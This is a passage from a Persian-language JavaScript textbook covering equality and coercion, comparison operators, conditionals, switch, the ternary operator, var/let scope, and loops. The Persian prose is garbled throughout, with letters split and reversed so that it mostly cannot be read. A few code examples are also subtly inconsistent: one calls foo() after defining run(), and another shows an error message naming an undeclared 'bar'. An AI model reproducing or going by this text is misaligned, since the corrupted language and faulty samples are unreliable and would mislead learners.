ن لی د بت نا ک م ا ه ک د وشیم هد افت سا ین امز == رگلم ع ز ا .در یگیم ر ار ق هداد ع و ن د ن وشیم هس ی ا ق م هک یر ا د ق م و د ر ه د ی اب هک تسا یی اه ت لاح ی ار ب === رگلم ع هک یلاح === رگلم ع و ) loose equality ( ف ی ع ض ی ر ب ار ب ث عاب ً اح لاط ص ا == رگلم ع .د ن شاب هتش اد ین اس کی .د وشیم ) strict equality ( ت خ س یر ب ار ب ث عاب var a = “123” ; var b = 123 ; a == b; // true a === b; // false ر ب ار ب ی نم ض هداد ع و ن لی د بت قیر ط ز ا a == b هس ی ا ق م نآ ر د ه ک د ر اد د وجو ت لاح و د ل اثم ن یا ر د هب string ز ا لی د بت ا جنیا ر د . دشاب 123 == 123 ا ی و 123 == 123 هکنیا ، دش ده ا و خ true اب یق رف لا ص ا ل اثم ن یا ر د .د وب ده ا و خ 123 == 123 تروص هب ه ج یت ن ینعی ،د وشیم م ا جنا number ده ا و خ ناس کی ت لاح و د ر ه ی ار ب هس ی ا ق م ه ج یت ن و د وش م ا جنا د روم و د نیا ز ا کی ما دک هک د ن کی من ه و حن ه ب د ی اب و د ن کیم ا دی پ ت ی م ه ا ناش د روم ر د ع وضوم ن یا ه ک د ن ر اد د وجو ی رگید د ر ا وم یلو د وب .د وش ت ق د هداد ع و ن لی د بت هداد ع و ن لی د بت نا ک م ا هکنیا یار ب ، تسا false هج یت ن a === b د روم ر د ق و ف ل اثم ر د ن ی نچم ه هس ی ا ق م ی ار ب === رگلم ع ز ا ا هنت ناس ی و نه ما نر ب ز ا ی رایسب . د ر ا د ن د وجو === رگلم ع ر د ینم ض و تسا رتین یب ش ی پ ل باق == رگلم ع هب تب س ن رگلم ع ن یا اهنآ رظن ز ا ه ک ار چ ،د نن کیم هد افت سا ز ا ع ق او ر د راک ن یا اب و ت سی ن ح ی ح ص رک فت ز ر ط ن یا ی لو . د وب ده ا و خ رتم ک نآ ر د ا طخ د ا جیا نا ک م ا د نمت ردق رایسب == رگلم ع . میاهدر ک یشو پ مش چ ی نم ض هداد ع و ن ت لای د بت ز ا یمه م و گ رزب ش خب .می زومایب ل ماک ا ر نآ ز ا ح ی ح ص هد افت سا ه و حن ه ک یط ر ش هب ، تسا دیفم و دیه د ص یخ شت دی نا وت یم اهنآ ز ا هد افت سا اب هک ه دش هت فر گ رظن ر د هد ا س ی دع ا وق هص لاخ روط هب :دی ن ک هد افت سا == رگلم ع ز ا ع قوم هچ و === رگلم ع ز ا ین امز هچ هک .د وش هد افت سا === رگلم ع ز ا د ن شاب هتش اد boolean ر ا د ق م هس ی ا ق م نی فر ط ز ا یکی ر گ ا رگلم ع ز ا دشاب )ی لا خ هیا رآ ( ] [ ا ی ا ی 0 ر ا د ق م ی ا ر اد )ود ر ه ا ی( ه س ی ا ق م نی فر ط ز ا یکی ر گ ا .د وش هد افت سا === اهنآ هداد ع و ن و رید ا ق م ت باب ز ا ر گ ا ه ک تسا ع وضوم ن یا رگن ایب و تسا هد ا س رایسب ق و ف دع ا وق هیا رآ هس ی ا ق م ی ار ب .دی ن ک هد افت سا === رگلم ع ز ا تروص ن یا ر ی غ ر د و == رگلم ع ز ا د ی ر اد نا ن ی م ط ا 47 م ود شخ ب ","تسا نکم م هک ی ب ی ج ع یاها طخ ز ا ات دی ن ک هد افت سا length ز ا ه ک م ی ن کیم یدج هیصوت هتشر و .دی ن ا م ب نام ا ر د ، دیشاب هتش اد ر اد رو خر ب اهنآ اب هس ی ا ق م م ا گن ه ر د ود ه دش یف ن م ، == !و = !ینعی )یو اسما ن( د ن دش ی فرع م ش خب ن یا یا دتب ا ر د ه ک ی رگید رگلم ع و د .تسا قد اص زی ن اهنآ د روم ر د ق و ف ه دش هتفگ د ر ا وم یما مت و د نت سه د و خ ر ظا نت م رگلم ع ر د . دش ثح ب )یل ص ا( ه یلو ا هداد ی اه ع و ن د روم ر د طقف ا جنیا ه ب ات ی اه س ی ا ق م یاه رگلم ع د روم ر د هب زای ن و رته دی چ ی پ ه س ی ا ق م دع ا وق )ع ب ا وت و اهه یا رآ ل ماش ( اه object ل ثم رگید هداد عا و نا د روم ) reference ( ع اجر ا شو ر قیر ط ز ا اه هداد ع و ن نیا ی زا سهر ی خذ لح م هک ار چ ، تسا یرتش یب ت ق د ناس کی تاعاجر ا هظف اح لح م س ر د آ ا ی آ هک د وشیم ی س ر ر ب هس ی ا ق م م ا گن ه ر د و دشابیم یر ا د هگن عا و نا نیا یار ب د وجوم رید ا ق م اب ا هنت هداد ع و ن نیا ه س ی ا ق م ه کنیا رگید مه م هت کن و ر ی خ ا ی تسا .در یگی من تروص هداد var a = { key: 321 }; var b = { key: 321 }; console.log(a === b); // false a = b; console.log(a === b); // true .د ن وش یم لی د بت string هداد ع و ن ه ب ضر ف ش ی پ تروص هب اهه یا رآ ،هس ی ا ق م م ا گن ه ر د ل اثم ی ار ب ا ر ی اهت شر ر ا د ق م کی ل ی کشت و ه دش لصت م م ه هب ) , ( اماک رگلم ع ه ل ی سو ه ب ه یا رآ ر صا ن ع ع ق او ر د ز ا ه ک یما گن ه ناس کی رید ا ق م و ا وت ح م اب ه یا رآ و د ه ک دی ن ک رکف تسا نکم م د وجو ن یا اب .د ن ه دی م هج یت ن و ت سی ن هن و گنیا ع ق او ر د ی لو د وب ده ا و خ true هج یت ن ، د ن وشیم هس ی ا ق م == رگلم ع قیر ط :تسا false var a = [ 1 , 2 , 3 ]; var b = [ 1 , 2 , 3 ]; var c = “1,2,3” ; a == c; // true b == c; // true a == b; // false یاه ع و ن لی د بت و ه س ی ا ق م هب ط وب ر م ثحب م تای ئز ج د ر او دح ز ا ش یب ت سی ن ر ار ق باتک ن یا ر د نیا یار ب د وجوم فلت خم یاه ت لاح و ه ط ب ا ر ن یا ر د رتش یب تا ح یضوت ی ار ب یلو می وش ی نم ض .دی ن ک ه ع ج ار م 4 ت پ یرکس ا م ک ا یمس ر تی ا س ه ب دی نا وتیم اه رگلم ع 4 http://www.ecma-international.org/ecma-262/5.1/ 48 هداد عاونا و ر ی د ا قم ",") Inequality ( یر با ر با ن زی ن یاهط ب ا ر یاههس ی ا ق م ن ا و ن ع اب هک تسا >= و <= ،> ،< رگلم ع را ه چ ل ماش ی ر ب ار با ن ی اه رگلم ع هتش اد ه س ی ا ق م ت ی ل باق هک د نو ریم راک هب ی رید ا ق م ی ار ب ً امو م ع اه رگلم ع ن یا .د وشیم هت خ ا ن ش .تسا 4 > 3 ر ا د ق م د روم ن یا ر د هد ا س رایسب ل اثم .د ن شاب هس ی ا ق م ر د .در ک هد افت سا ز ی ن یاهت شر رید ا ق م هس ی ا ق م ی ار ب ن ا وتیم اهی ر ب ار با ن ز ا ت پ یرکساو اج ر د .) Hosein < Ali ( د وب ده ا و خ ا ب فل ا فور ح ب یت رت ر ب راک س ا سا یاهت شر رید ا ق م در یگیم تروص هس ی ا ق م م ا جنا م ا گن ه ر د ینم ض ع و ن لی د بت م ه ا جنیا ر د ،یر ب ار ب یاه رگلم ع د نن ا م ه ز ا ی عو ن ه ک می د ید یر ب ار ب هب ط وب ر م ثح ب ر د .تسا یر ب ار ب یاه رگلم ع اب هبا ش م هطوب ر م دع ا وق و ا ر ی نم ض ع و ن لی د بت ه زاج ا ه ک د ن دش حرط م ) strict equality ( ت خ س یر ب ار ب ن ا و ن ع تحت اه رگلم ع تروص هب زای ن تروص ر د ع و ن لی د بت و د ر ا د ن د وجو یزیچ نی ن چ اهی ر ب ار با ن د روم ر د ی لو د نداد یمن .دش نآ عن ام ن ا وتی من و در یگیم تروص راک د و خ var a = 123 ; var b = “Hosein” ; var c = “Ali” ; a < b; // false b < c; // true ل اثم ر د( د ن شاب هتشر ع و ن ز ا ه دش هس ی ا ق م ر ا د ق م و د ه ک ی ن امز ES5 ر د ه دش فیرعت دع ا وق قب ط ر گ ا ی لو د وشیم م ا جنا ا ب فل ا فور ح س ا سا ر ب هس ی ا ق م و د وشی من م ا جنا ع و ن لی د بت ) c > b ق و ف ید دع ع و ن ه ب ی نم ض ع و ن لی د بت تروص ن یا ر د دشا بن یاهت شر تروص هب نی فر ط ز ا یکی ل ق ا دح هس ی ا ق م م ا جنا م ا گن ه ر د .تسا لوا ه س ی ا ق م نا م ه هک د وشیم ل ا م ع ا ه س ی ا ق م س پ س و ه دش م ا جنا د ر اد د وجو هک ی ب ی ج ع هت کن و د ن کیم د ا جیا NaN هج یت ن و د وشیم م ا جنا parseInt)'Hosein'( لوا .د وب ده ا و خ false یلک ش ر ه هب و ی د دع ر ه اب NaN ه س ی ا ق م و دش ی نم ض ع و ن لی د بت م ا جنا ز ا عن ام ن ا وتی من اهی ر ب ار با ن ر د ه ک ار چ ، د وشیم م ا جنا هتسا و خ ا ن :د وشیم م ا جنا راک د و خ تروص هب زای ن تروص ر د لی د بت نیا 49 م ود شخ ب ","var a = 42 ; var b = “foo” ; a < b; // false a > b; // false a == b; // false نیا د ن ک بل ج د و خ ه ب ا ر ا م ش رظن ق و ف ل اثم ر د تسا نکم م لب ق ه ح فص ل اثم د نن ا م ه هک ی د روم > و < رگلم ع و د د روم ر د .تسا false هس ی ا ق م ه ج یت ن == و > ،< رگلم ع ه س ر ه ی ا ز ا ه ب هک تسا هک ی ی ا جن آ ز ا و دت فای م ق افت ا b ر یغتم ی ار ب )ید دع ع و ن ه ب ی اهت شر ع و ن ز ا( ینم ض هداد ع و ن لی د بت ده ا و خ NaN اب ر ب ار ب ی نم ض هداد ع و ن لی د بت هج یت ن نیار با ن ب ت سی ن یربتع م د دع ر یغتم ن یا ر ا د ق م .د وب ده ا وخ ن یرگید ر ا د ق م چ یه یواسم ه ن و رت گرزب ه ن ،رتک چوک ه ن NaN ر ا د ق م ES5 دع ا وق ر د و د وب a == b ل اثم ر د .تسا یر ب ار با ن رگلم ع و د ز ا توافتم == رگلم ع اب ه ط ب ا ر ر د ه ی ض ق ق و ف ل اثم ر د ام ا ود ر ه ر د ه ک NaN = 123 ا ی foo == 123 :د وش م ا جنا تسا نکم م ی نم ض هداد لی د بت ع و ن ود .تسا false ر ا د ق م اب ر ب ار ب هس ی ا ق م ه ج یت ن د روم دوری م ر ا ظتنا شخب نیا ه ع لا ط م زا س پ .د ی وش ا ن شآ اه ر یغتم فیرعت ه و حن اب تخ ا ن ش کی ر ه یاهیگژ یو د روم ر د و هتخ ا ن ش ا ر ت پ یرکساو اج ر د هی و ن ا ث و ه یلو ا هداد عا و نا .دی ن ک ا دی پ .دیشاب هت خ ومآ ا ر ع ب ا وت و اهه یا رآ ،اه object ز ا هد افت سا و فیرعت ه و حن ا ر ت خ س و ف ی ع ض ی ر ب ار ب نیب یاهتوافت و هدر ک هد افت سا یتس ر د ه ب ا ر یاهط ب ا ر یاه رگلم ع .دیشاب هدر ک ک ر د د وشیم م ا جنا ک یتاموت ا تروص هب هک ا ر ت پ یرکساو اج ر د ه دش م ا جنا ینم ض ت لای د بت د نن ک د ا جیا ه ما نر ب ی ار ب تسا نکم م هک یت لاکش م هب اهنآ ز ا هد افت سا م ا گن ه ر د و دیشاب هت خ ا ن ش .دیشاب هدر ک ا دی پ ی هاگآ ک ر د اه رگلم ع و هداد عا و نا اب ه ط ب ا ر ر د ا ر ES ر د ه دش فیرعت یت امد ق م نی نا وق و دع ا وق ی خر ب .د یرب ب هره ب ت پ یرکساو اج نابز اب ح ی ح ص یس ی و ن دک ته ج ر د اهنآ ز ا و هدر ک 50 هداد عاونا و ر ی د ا قم ","م و س شخب اه هقلح و اههدود ح م ، ی طرش تار ابع ∞ :شخب فادها یط رش تار ا ب ع اب ییانشآ scope و هد ودحم موه فم کرد ا ه هد ودحم رد ع با ت و ر ی غتم درک ر اک ا هن آ ز ا هد افتس ا هو حن و ا ه ه ق ل ح د رب ر اک کرد ","[ ) Conditionals( ی طرش تار ابع م ی مصت ا ی ی ط ر ش ت ا را ب ع ز ا هد افت سا ی س ی و نه ما نر ب هب ط وب ر م ثح ب ر د اهراک ن یرتجیا ر ز ا یکی در براک طر ش کی ن د وب ر ار ق ر ب تروص ر د ی راک ن داد م ا جنا یار ب if روت سد ل اثم ی ار ب . تس اه ی ر یگ :د ر اد var classmatesCount = 100 ; var myFriends = 5 ; if (myFriends < classmatesCount) { console .log( “I have a few friends” ); } ده ا و خ false ا ی true ر ا د ق م نآ یبا ی زر ا هج یت ن ه ک تسا زتنارپ لخاد ر د ترا ب ع کی ل ماش if روت سد ر د و د وش یم هس ی ا ق م اهی سلا ک م ه اب نات سود دا د عت دی ن یبیم هک روط نا م ه ق و ف ل اثم ر د .د وب د روم ترا ب ع ) دشاب رتم ک ی سلا ک م ه یا ض ع ا دا د عت ز ا نات سود دا د عت( دشاب true هج یت ن ه ک یتروص .دش ده ا و خ پ اچ console.log)..( روت سد طس وت رظن هک دش ده ا و خ ار ج ا ین امز و د وش یم هد افت سا else روت سد ز ا ت سی ن ر ار ق ر ب طر ش هک یتلاح ی ار ب :دشا بن ر ار ق ر ب طر ش var classmatesCount = 100 ; var myFriends = 5 ; if (myFriends < classmatesCount) { console .log( “I have few friends” ); } else { console .log( “I have too many friends” ); } 'I have ترا ب ع و دش ده ا و خ ار ج ا else هب ط وب ر م روت سد نیار با ن ب و ت سی ن ر ار ق ر ب طر ش ق و ف ل اثم ر د .د وش یم هداد شی ا من ی جو رخ ر د too many friends' ر د و دشاب boolean هداد ع و ن ز ا ی ر ا د ق م د ی اب ه ش ی م ه زت نارپ لخاد ترا ب ع دش هتفگ هک روط نا م ه یلب ق ش خب ر د .تفری ذ پ ده ا و خ تروص ت پ یرکساو اج طس وت ی نم ض هداد ع و ن لی د بت تروص ن یا ر ی غ .دی ن ک ه ع ج ار م نآ هب دی نا وت یم زای ن تروص ر د ،تسا ه دش هداد یل ماک ح یضوت ه راب ن یا ر د هلم ج نآ ز ا . د ن وشیم هد افت سا اه ر یگ م ی مصت ر د ه ک د ن ر اد د وجو زی ن یرگید ت ا روت سد if ر ب هولا ع 52 اه هق ل ح و اه ه دودحم ، ی طرش تار ا بع ",":تسا ی ل ا وتم if.. else روت سد نی د ن چ ی ار ب ی نیزگی اج هک در ک ه راش ا switch روت سد ه ب ن ا وت یم switch (expression) { case n: // code block break ; case m: // code block break ; default : // default code block } ز ا ما دک ر ه اب یجو رخ ر ا د ق م س پ س و د وش یم یبا ی زر ا expression ترا ب ع ا دتب ا ق و ف روت سد ر د هب ط وب ر م دک ،هس ی ا ق م ه ج یت ن ن د وب true تروص ر د و د وش یم هس ی ا ق م case روت سد ل با ق م ت ا را ب ع case یار ج ا ز ا یر یگو ل ج و switch ز ا جورخ یار ب break روت سد نم ض ر د . دش ده ا و خ ار ج ا case ر ه اب swtich ر ا د ق م ر گ ا ه ک ه دش هت فر گ رظن ر د رو ظن م ن یا یار ب م ه default روت سد .تسا رگید ی اه .د ن وش ار ج ا ضرف ش ی پ ن ا و ن ع هب ه دش هت فر گ رظن ر د ت ا روت سد ت ش ا د ن تق با ط م اه case ز ا ما دک چ یه یط خ ن و رد یا هطر ش رگلم ع ا ی ی ط ر ش رگلم ع ن ا و ن ع تحت ه ک د ر اد د وجو ت پ یرکساو اج ر د ی ط ر ش ت ا را ب ع ز ا یرگید ع و ن if.. else یار ب ه دش رصت خم لک ش یط ر ش ترا ب ع ن یا .د وش یم هت خ ا ن ش )ی د ن و لم ع ه س( یی ات ه س .د ر اد ا ر درکلم ع نا م ه ً ا ق یق د و تسا var a = 1 ; var b = (a > 2 ) ? “hello” : “world” ; // if (a > 2) { // b = “hello”; // } else { // b = “world”; // } هک ی رت ا نا و خ و رصت خم تروص هب یط ر ش رگلم ع قیر ط ز ا د نا وت یم ق و ف ل اثم ر د if.. else ترا ب ع 53 مو س شخ ب ","هب یلو تسا ه دش م ا جنا ی ط ر ش رگلم ع قیر ط ز ا ب است نا ل اثم ن یا ر د .د وش ن یزگی اج دی ن یبیم نیرتجیا ر ز ا یکی ه ک د ن چ ر ه ، تسا ب است نا ر د ی ط ر ش رگلم ع در براک ا هنت ه ک ت سی ن نیا ینع م .د وب ده ا و خ نآ یاه در براک [ )Scope ( ه دو دح م ل و صح م ع و ن کی د یرخ ی اضا قت و د یاهدر ک ه ع ج ار م ی یا ذ غ دا وم ه ا گ شو رف کی ه ب دی ن ک ضرف ا ر رظن د روم سن ج د نا وتی من ه د ن شو رف .ت سی ن د وجوم ه ا گ شو رف ر د ه ک دی ن کیم ا ر ص ا خ د ی دج .د ر اد یسرتسد د نت سه د وجوم ه ا گ شو رف را بنا ر د ه ک ی س ا ن ج ا ه ب ا هنت وا ه ک ار چ ،دشو ر فب ا م ش هب .دی ن ک ه ع ج ار م ی رگید ه ا گ شو رف ه ب رظن د روم تا ص خ ش م اب سن ج د یرخ یار ب د ی اب ا م ش ن یار با ن ب ت پ یرکساو اج نابز ر د .د وشیم هد افت سا ) scope ( هدو د ح م ه مل ک ز ا م و ه فم ن یا یار ب یس ی و نه ما نر ب ر د نی نا وق و اه ر یغتم ز ا یاه عو مج م هب هدو د ح م ً ا س ا سا .د ر اد ا ر د و خ ه ب ص و ص خم هدو د ح م ع بات ر ه هدو د ح م نآ لخاد ی اهدک ا هنت ،ص خ ش م هدو د ح م کی ر د و د وشیم هتفگ اه ر یغتم ن یا ه ب ی سرتسد .د ن ر اد ا ر هدو د ح م یاه ر یغتم هب ی سرتسد ت ی ل باق م ا ن اب ر یغتم و د فیرعت نا ک م ا رگید ترا ب ع هب .دشاب درف ه ب رصحن م د ی اب هدو د ح م کی ر د ر یغتم م ا ن یاه هدو د ح م ر د ناس کی م ا ن اب یاه ر یغتم فیرعت نا ک م ا ام ا د ر ا د ن د وجو هدو د ح م کی ر د ناس کی .د ر اد د وجو توافتم 54 اه هق ل ح و اه ه دودحم ، ی طرش تار ا بع ","function one () { // this `a` only belongs to the `one()` function var a = 1 ; console .log(a); } function two () { // this `a` only belongs to the `two()` function var a = 2 ; console .log(a); } one(); // 1 two(); // 2 وتردوت یا ه هد ودح م هب هدو د ح م کی ر گ ا ن ی نچم ه . د ر اد د وجو رگید هدو د ح م لخاد ر د هدو د ح م کی یر یگر ار ق نا ک م ا هدو د ح م یاه ر یغتم هب د نا وتیم ی لخاد هدو د ح م ، در ی گ ب ر ار ق ی رگید هدو د ح م نور د وتر د وت تروص :دشاب هتش اد یسرتسد ینور یب function outer () { var a = 1 ; function inner () { var b = 2 ; // can access both `a` and `b` here console .log( a + b ); // 3 } inner(); // we can only access `a` here console .log( a ); // 1 } outer(); هب د نا وتیم هدو د ح م کی ی اهدک هک تسا تروص ن یا ه ب وتر د وت یاه هدو د ح م هب ط وب ر م دع ا وق ع بات یاهدک ق و ف ل اثم ر د . دشاب هتش اد یسرتسد رتینور یب یاه دو د ح م ر د ه دش فیرعت ی اه ر یغتم 55 مو س شخ ب ","ر یغتم هب ا هنت outer)( ع بات هب ط وب ر م یاهدک ام ا د ر اد یسرتسد b و a ر یغتم و د ر ه هب inner)( ه دش فیرعت inner)( ع بات هب ط وب ر م هدو د ح م لخاد ه ک b ر یغتم هب و ت ش اد ده ا و خ یسرتسد a .دشاب هتش اد یسرتسد د نا وتی من یسرتسد ل باق ی لعف هدو د ح م ر د د وش یم فیرعت var یدی ل ک ه مل ک قیر ط ز ا یر یغتم هک ی ن امز یا ر اد تروص ن یا ر د د وش فیرعت حطس نیرتلا اب ر د و ع ب ا وت یما مت ز ا نو ر یب ر د ر یغتم ن یا ر گ ا .تسا .د وب ده ا و خ ) global ( یرسارس هدو د ح م ،نیا ر ب هولا ع . تسا یسرتسد ل باق هدو د ح م نآ رس ات رس ر د هدو د ح م کی ر د ه دش فیرعت ر یغتم هدو د ح م ز ا )رت ن ی ی ا پ حطس( یلخاد ی اه هدو د ح م یما مت ر د هدو د ح م کی ر د ه دش فیرعت ر یغتم :د یر ی گ ب رظن ر د ا ر ری ز ل اثم . د وب ده ا و خ ی بایت سد ل باق زی ن یلعف function foo () { var a = 1 ; function bar () { var b = 2 ; function baz () { var c = 3 ; console .log( a, b, c ); // 1 2 3 } baz(); console .log( a, b ); // 1 2 } bar(); console .log( a ); // 1 } foo(); رتیلخاد هدو د ح م ر د ه ک ار چ ، ت سی ن سرتسد ر د bar)( ع بات ر د c ر یغتم ق و ف ل اثم ر د ه ک دی ن ک ت ق د .د وب ده ا وخ ن سرتسد ر د foo)( ع بات هدو د ح م ر د b ر یغتم هبا ش م ل یل د اب . تسا ه دش فیرعت ه دش فیرعت یلعف هدو د ح م ز ا ر ی غ یاهدو د ح م ر د ه ک می ر اد ا ر ی ر یغتم هب یبایت سد د ص ق هک ی ن امز یر یغتم هب یه د ر ا د ق م تروص ر د ن ی نچم ه .دش م یه ا و خ ه ج ا وم ReferenceError یا طخ اب تسا ) strict mode ( هنار ی گت خ س ت لاح ر د ر گ ا . دهدب خ ر تسا نکم م ت لاح و د تسا ه د شن فیرعت ه ک نیرتلا اب ر د ) global ( یرسارس ر یغتم کی تروص ن یا ر ی غ ر د و ا طخ م اغی پ کی م یشاب هتش اد ر ار ق .دش ده ا و خ ثح ب ل ی ص فت هب یتآ یاه ش خب ر د هنار ی گت خ س ت لاح ه رابر د . دش ده ا و خ د ا جیا حطس 56 اه هق ل ح و اه ه دودحم ، ی طرش تار ا بع ","function foo () { a = 1 ; // `a` not formally declared } foo(); a; // `1` auto global variable نیا ه ب ر یغتم ندش فیرعت .تسا ه دش ) declare (د ا جیا ک یتاموت ا تروص هب لا اب دک ر د a ر یغتم ه و حن رته ب ک ر د یار ب ام ا ،د وش هد افت سا د ی ا بن و تسا ی س ی و ن دک ر د یطلغ رایسب راک شو ر تروص .داد م یه ا و خ ح یضوت ا ر ن کم م یاه ت لاح ز ا کبس نیا نابز در کراک ES6 ر د نیا ر ب هولا ع .دش ده ا و خ ع بات یمو م ع حطس ر د ر یغتم فیرعت ث عاب var یدی ل ک ه مل ک همل ک قیر ط ز ا راک ن یا .در ک فیرعت ) block ( اه ک و ل ب حطس نا م ه ی ار ب ا هنت ا ر اه ر یغتم ن ا وت یم .د وش یم م ا جنا let یدی ل ک function run () { var globalScope = “globalScope” ; { var _withVar = ‘ _withVar’; let _withLet = ‘ _withLet’; } console.log(globalScope + ‘ printed!’); console.log(_withVar + ‘ printed!’); console.log(_withLet + ‘ printed!’); } foo(); // globalScope printed! // _withVar printed! // ReferenceError: _withLet is not defined ا هنت نیار با ن ب ، تسا ه دش فیرعت let ز ا هد افت سا اب و ع بات ز ا یلخاد scpoe کی ر د _withLet ر یغتم ر د نآ ز ا هد افت سا م ا گن ه ر د ل یل د ن ی م ه هب و م یتسه نآ ز ا هد افت سا ه ب زا ج م هطوب ر م ک و ل ب لخاد ر د هک ت سه _withVar ر یغتم د روم ر د ب لاج هت کن .میاه دش هج ا وم ا طخ اب رظند روم هدو د ح م ز ا ج را خ 57 مو س شخ ب ",".د ر اد رو ض ح م ه scope ز ا نو ر یب ام ا ،تسا ه دش فیرعت _withLet ر یغتم را ن ک ر د نامز ل وط ر د اهدک ه عس وت و یر ا د هگن نا ک م ا د وش یم ث عاب ا ه کو ل ب حطس ر د let اب اه ر یغتم فیرعت ز ا لب ق یاههخس ن ر د نا ک م ا نیا ه ک دی ن ک ت ق د ی لو دبا ی شیازفا ی س ی و ن دک ت یفیک و د وش رتن ا س آ .تفر گ رظن ر د ا ر د روم ن یا د ی اب نآ ز ا هد افت سا ر د و د ر ا د ن د وجو ES6 رته ب لرتن ک هب ی سرتسد ر ب هولا ع ) const و let ( es6 ر د ر یغتم فیرعت ه و حن ز ا هد افت سا ی ا یاز م ز ا فیرعت( ندش redeclare نا ک م ا م دع و ع بات یمو م ع ند شن فیرعت ه ب ن ا وتیم ، scope رتق یق د و .د وشیم هداد ش شو پ د روم و د ر ه ری ز ل اثم ر د ه ک در ک ه راش ا )د د ج م var globalScope = “globalScope” ; let notGlobal = “notGlobal” ; console.log(window.globalScope); // globalScope console.log(window.notGlobal); // undefined ‘use strict’; var globalScope = “globalScope” ; let notGlobal = “notGlobal” ; // SyntaxError: Identifier ‘bar’ has already been declared [ ) Loops ( اههقلح ،د نن ک یم هد افت سا ار ج ا ن در ک ف قوتم ا ی ن داد ه م ادا ن یی عت یار ب یط ر ش ترا ب ع کی ز ا اهه قل ح اهنآ ه م ه ی اهی ا پ رات ف ر ام ا د ن ر اد ی ف لت خم ل ا ک ش ا اهه قل ح یس ی و نه ما نر ب یاهنابز ر د ه ک ن یا د وجو اب هب .د نن ک یم ر ارکت دشاب تس ر د هقل ح طر ش هک ی ن امز ات ا ر دک ز ا ک و ل ب کی ه ک تسا تروص ن یا ه ب .د وش یم هتفگ ) iteration ( ر ارکت ،هقل ح ی ار ج ا راب ر ه do-while و while ه ق ل ح یصا خ دک ، تسا ر ار ق ر ب طر ش کی ، ه ک ی ن ا م ز ات ،می ر اد زای ن ی س ی و نه ما نر ب م ا گن ه ر د ،ع ق ا وم ز ا یضع ب ز ا ع و ن ود . دشابیم یزا س هد ای پ ل باق do-while و while یاهه قل ح ر د م و ه فم ن یا .م ی ن ک ار ج ا ا ر 58 اه هق ل ح و اه ه دودحم ، ی طرش تار ا بع ",": do-while هقل ح و while هقل ح ،دی ن ک یم ه دها ش م ری ز ل اثم ر د ا ر اهه قل ح // while example var i = 1; while (i < 10 ) { text += “The number is “ + i; i++; } // do.. while example var i = 1; do { text += “The number is “ + i; i++; } while (i < 10 ); هم ادا دشاب 10 ز ا رتک چوک i ر یغتم هک ی ن امز ات ه قل ح ی ار ج ا ر ارکت while هقل ح ر د ق و ف ل اثم ر د تسا لوا ش خب اب هبا ش م ه قل ح ی ار ج ا do.. while هقل ح ی نعی ق و ف ل اثم ز ا مود ش خب ر د . دبا ی ی م ح ی ح ص ه قل ح طر ش ر گ ا یت ح ،دش ده ا و خ م ا جنا هبتر م کی ل ق ا دح ه قل ح ی ار ج ا ه ک توافت ن یا اب .در یگ یم ر ار ق ه قل ح طر ش ی س ر ر ب ز ا لب ق دک ک و ل ب هک ار چ ،دشا بن تروص ن یا ه ب و د وش یم ی س ر ر ب ه قل ح ی ار ج ا راب ر ه ر د هقل ح طر ش هک دی ن ک ت ق د ع وضوم ن یا ه ب یار ج ا راب ر ه ر د i ر یغتم شیازفا رگید مه م د روم . د وش م ا جنا راک ن یا ا دتب ا ر د را بکی ا هنت ه ک ت سی ن هقل ح ی ار ج ا و د وش ی من ح ی ح ص ه اگ چ یه ه قل ح طر ش د و شن م ا جنا راک ن یا ه ک یتروص ر د .تسا هقل ح فلاتا ث عاب هک د وش یم هتفگ تی ا هن ی ب ه قل ح ت لاح ن یا ه ب .دش ده ا و خ م ا جنا دو د ح ما ن تروص هب ل صاح نا ن ی م ط ا نآ دا د خ ر م دع ز ا د ی اب و د ن ک یم ل ی محت مت سی س ه ب ا ر ید ی دش یب ارخ و ه دش ع با ن م هقل ح ن ا وتیم هک می وشیم ا ن شآ اه rotareneg م ا ن ه ب یمو ه فم اب یتآ یاه لصف ر د هتب ل ا( در ک .)در ک تیری دم ا ر نآ ی ار ج ا ک یتا مت سی س تروص هب و د ز تی ا هنی ب for ه ق ل ح ر ثک ا ر د do-while و while د نن ا م ه هک و د وش یم هت خ ا ن ش for م ا ن اب اهه قل ح در براک رپ و رگید ع و ن ه دها ش م ل باق د ع ب دکه کت لک ش هب نآ ی ل ک رات خ ا س .تسا ه دش یزا س هد ای پ ی س ی و نه ما نر ب یاهنابز .تسا 59 مو س شخ ب ","for (statement 1 ; statement 2 ; statement 3 ) { // code block to be executed } ده ا و خ ار ج ا هقل ح هب ط وب ر م دک ک و ل ب ی ار ج ا ز ا لب ق و ه بتر م کی طقف : 1 statement ش خ ب .دش .در یگ یم ر ار ق ش خب ن یا ر د هقل ح طر ش :2 statement ش خ ب .دش ده ا و خ ار ج ا دک ک و ل ب ی ار ج ا و هقل ح ر ارکت ر ه ر د :3 statement ش خ ب :تسا تروص ن یا ه ب for هقل ح هب ط وب ر م ی ع ق او ل اثم for (i = 0 ; i < 5 ; i++) { text += “The number is “ + i + “
” ; } م ا جنا دک ک و ل ب ی ار ج ا دشاب ر ار ق ر ب i > 5 طر ش هک ی ن امز ات و د وش یم یه د ر ا د ق م 0 اب i ر یغتم ا دتب ا ده ا و خ تروص دح او 1 ر ا د ق م اب i ر یغتم شیازفا دک ک و ل ب ی ار ج ا راب ر ه ز ا سپ ن ی نچم ه .دش ده ا و خ نآ ز ا ن ا وت یم ه قل ح ی ار ج ا ن در ک ف قوتم ی ار ب هک د ر اد د وجو break م ا ن اب زی ن ی روت سد .تفر گ :در ک هد افت سا for (i = 0 ; i < 10 ; i++) { if (i === 3 ) { break ; } text += “The number is “ + i + “
” ; } روت سد و ه دش ر ار ق ر ب ه قل ح لخاد if طر ش ،دش 3 ر ا د ق م اب ر ب ار ب i ر یغتم ر ا د ق م ه اگ ر ه ق و ف ل اثم ر د .دش ده ا و خ هقل ح ز ا جورخ ث عاب break کی ی اهیگژ یو یو ر ر ب ن ا وت یم ل اثم ی ار ب . د ر اد د وجو اهه قل ح عا و نا ز ا ز ی ن یرگید فلت خم یاه لک ش نا م ه ام ا در ک ل ا م ع ا object کی ر صا ن ع یما مت یو ر ر ب ا ر یدک ه عط ق و هدر ک فیرعت هقل ح object هقل ح ر ارکت نآ و د ر اد د وجو کرتش م و ت با ث م و ه فم کی اهه قل ح عا و نا ی ما مت ر د دش هتفگ هک روط .تسا طر ش یر ار ق ر ب نامز ات 60 اه هق ل ح و اه ه دودحم ، ی طرش تار ا بع ","دوری م ر ا ظتنا شخب نیا ه ع لا ط م زا س پ دی ن ک ک ر د ی س ی و نه ما نر ب ر د ا ر نآ م و ه فم و دیشاب ه دش ا ن شآ یط ر ش ت ا را ب ع اب فلت خم یاه کبس ز ا زای ن د روم د ر ا وم ر د 